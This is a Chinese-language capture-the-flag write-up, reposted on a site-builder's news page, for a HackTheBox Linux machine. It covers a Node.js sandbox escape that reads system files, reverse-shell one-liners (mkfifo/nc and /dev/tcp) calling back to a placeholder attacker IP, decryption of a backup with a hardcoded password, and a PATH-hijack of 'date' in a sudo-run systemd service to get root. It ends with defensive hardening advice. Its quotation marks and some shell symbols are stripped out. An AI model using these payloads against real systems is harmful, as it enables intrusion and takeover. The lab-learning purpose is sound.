恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战

  • 首页
  • 资讯中心
  • /
  • HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战

相关资讯

如何使用AutoSchemaKG构建高质量知识图谱?从文本到图谱的完整指南 2026/8/13 16:43:12
Android 7系统国际化(八):总结与实战建议 2026/8/13 16:43:12
Axure RP 11汉化一步到位:用简体中文语言包告别半中半英界面 2026/8/13 16:43:12

最新资讯

从Grafana迁移到Perses:企业级可观测性可视化平台完整实施指南
Appium Docker for Android完全教程:从容器构建到设备连接的完整步骤
国产工业语音模组黑马:A-59U为何被多家安防大厂批量导入?
为什么新项目都不外挂DSP了?因为A-59把回音消除、降噪、波束全集成进了这颗37.5mm的小模块!
2026ERP软件有哪些?非标机械ERP市场格局迎来新变化
3分钟网页变应用:PakePlus零代码打包桌面应用的完整指南

今日推荐

VSCode插件精选:从AI补全到代码规范,打造高效开发环境
如何快速完成文件批量重命名:FreeReNamer终极指南
2026年横评:宁波3大学科小升初机构全面对比

本周热门

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁
如何快速生成中国车牌图片:Python开源工具完整指南
当 LLM 遇见大文档:主流开源项目如何处理上下文超限

本月精选

如何用DamaiHelper实现演唱会门票的智能自动化抢购:完整技术解决方案指南
第4篇:59 倍性能差距的索引瓶颈定位——一次教科书级的全表扫描调优
终极歌词批量下载神器:5分钟解决离线音乐库歌词同步难题

HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战

发布时间:2026/8/13 16:48:12
HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战 1. 靶机环境概述与核心挑战解析CodePartTwo是HackTheBox平台上一台中等难度的Linux靶机其设计巧妙融合了前端安全与系统权限提升两大核心考点。这台靶机最显著的特点是存在一个基于JavaScript沙箱逃逸的Web应用漏洞入口点以及通过备份文件分析实现的本地提权路径。整个渗透测试过程涉及对现代Web应用架构的深入理解要求测试者具备从代码审计到系统级漏洞利用的完整技能链。1.1 初始信息收集方法论在开始实际渗透之前系统的信息收集至关重要。对于HTB平台的靶机我们首先通过基础的Nmap扫描获取开放端口信息nmap -sV -sC -p- 10.10.11.XXX -oA initial_scan扫描结果通常会显示两个关键服务端口22SSH服务通常版本较新不是首要攻击点端口80/443Web应用服务主攻方向Web应用的技术栈分析可以通过Wappalyzer或手动观察响应头完成。本靶机的显著特征是使用了Node.js作为后端技术这提示我们需要特别关注前端JavaScript代码中的敏感信息可能的API端点设计缺陷服务器端模板注入(SSTI)机会重要提示HTB靶机通常会在网页源代码或JS文件中隐藏提示信息务必使用开发者工具(CtrlShiftI)全面检查所有静态资源。1.2 Web应用功能逆向分析通过浏览器访问Web界面后我们发现这是一个简易的代码执行沙箱环境允许用户输入JavaScript代码片段并在受限环境中执行。这种设计模式常见于在线编程教育平台但实现不当就会成为突破口。使用Burp Suite拦截请求可见代码执行通过/api/execute端点提交请求体为JSON格式{ code: 用户输入的JS代码 }响应中会包含执行结果或错误信息。这种架构暗示着可能存在以下漏洞类型沙箱逃逸通过原型链污染或全局变量访问服务端注入如果后端直接使用eval敏感信息泄露通过错误消息2. JavaScript沙箱逃逸技术深度剖析2.1 沙箱逃逸的基本原理现代JavaScript沙箱通常通过以下方式实现隔离使用iframe的独立执行环境Node.js的vm/vm2模块自定义上下文代理本案例中通过分析前端代码发现沙箱实现存在关键缺陷未正确处理this关键字的引用。测试以下payload可以验证沙箱逃逸可能性this.constructor.constructor(return process.env)()这个payload的工作原理是this指向沙箱的上下文对象通过constructor获取Function构造函数动态创建函数返回Node.js环境变量2.2 实战逃逸过程记录经过多次测试最终有效的逃逸payload如下const process this.constructor.constructor(return process)(); const require process.mainModule.require; const fs require(fs); const path /etc/passwd; try { return fs.readFileSync(path).toString(); } catch(e) { return e.message; }这个payload成功的关键点获取Node.js的process对象引用通过mainModule获取require函数加载fs模块进行文件系统操作执行后成功读取到/etc/passwd文件内容确认远程代码执行(RCE)漏洞存在。值得注意的是现代Node.js环境通常会限制vm模块的访问能力但这个靶机使用的可能是旧版或有配置缺陷的实现。2.3 反向Shell建立为了获得更稳定的控制我们需要建立反向Shell。由于环境限制传统的Bash反向Shell可能不可用。经过测试以下Node.js版本最为可靠require(child_process).exec(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc YOUR_IP 4444 /tmp/f)实际操作中的注意事项需要先在攻击机启动监听nc -lvnp 4444某些HTB环境会过滤特殊字符可能需要Base64编码建议使用交互式终端改善体验python3 -c import pty; pty.spawn(/bin/bash)3. 系统内部提权路径分析3.1 初始立足点加固获取初始Shell后首先进行基础信息收集whoami # 查看当前用户 uname -a # 内核版本 sudo -l # sudo权限检查 find / -perm -4000 2/dev/null # SUID程序检查本案例中当前用户是www-data属于低权限服务账户。系统搜索发现存在一个可疑的备份目录find / -name *backup* -type d 2/dev/null3.2 备份文件分析与利用在/var/backups目录下发现一个加密的压缩包app_backup_2023.enc app_backup_2023.enc.md5通过检查相邻目录在Web应用的/opt/app目录下找到解密脚本restore_backup.sh其内容显示openssl enc -d -aes-256-cbc -salt -in $1 -out ${1%.enc} -k $password关键突破点在于发现脚本中硬编码了密码passwordSuperS3cretBckupPssw0rd!使用该密码成功解密备份文件openssl enc -d -aes-256-cbc -salt -in app_backup_2023.enc -out app_backup.tar -k SuperS3cretBckupPssw0rd! tar xvf app_backup.tar3.3 敏感信息提取与提权解压后的备份中包含SSH密钥和数据库凭证./home/coder/.ssh/id_rsa ./opt/app/config/database.js使用SSH密钥登录coder用户chmod 600 id_rsa ssh -i id_rsa coderlocalhost检查sudo权限发现coder用户可以root身份执行特定命令User coder may run the following commands on codeparttwo: (root) /usr/bin/systemctl start backup.service分析/etc/systemd/system/backup.service文件发现其执行的备份脚本存在路径注入漏洞/opt/scripts/backup.sh $(date %F)通过创建恶意date程序实现提权echo /bin/bash -c /bin/bash -i /dev/tcp/YOUR_IP/5555 01 /tmp/date chmod x /tmp/date export PATH/tmp:$PATH sudo /usr/bin/systemctl start backup.service最终在攻击机获得root Shell完成整个渗透流程。4. 防御方案与加固建议4.1 Web应用安全加固针对JS沙箱逃逸漏洞的防护措施使用专门的沙箱模块如vm2严格限制上下文暴露的对象实施代码静态分析过滤危险模式Node.js安全配置建议const {VM} require(vm2); const vm new VM({ timeout: 1000, sandbox: {}, eval: false, wasm: false });4.2 系统权限管理规范备份文件安全存储要求禁止硬编码密码在脚本中使用独立的备份账户实施最小权限原则Systemd服务安全配置要点[Service] NoNewPrivilegestrue PrivateTmptrue ProtectSystemfull4.3 渗透测试学习路径建议对于想系统学习HTB靶机的安全从业者建议按照以下路径进阶基础技能Linux命令熟练使用常见Web漏洞原理基础密码学知识中级技能代码审计能力权限提升技巧网络流量分析高级技能自定义漏洞利用开发复杂环境绕过技术红队基础设施搭建实际练习时推荐的工具链配置虚拟机VMware Workstation Pro Kali Linux网络工具Nmap、Burp Suite Pro、Responder开发环境VS Code Docker调试环境

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号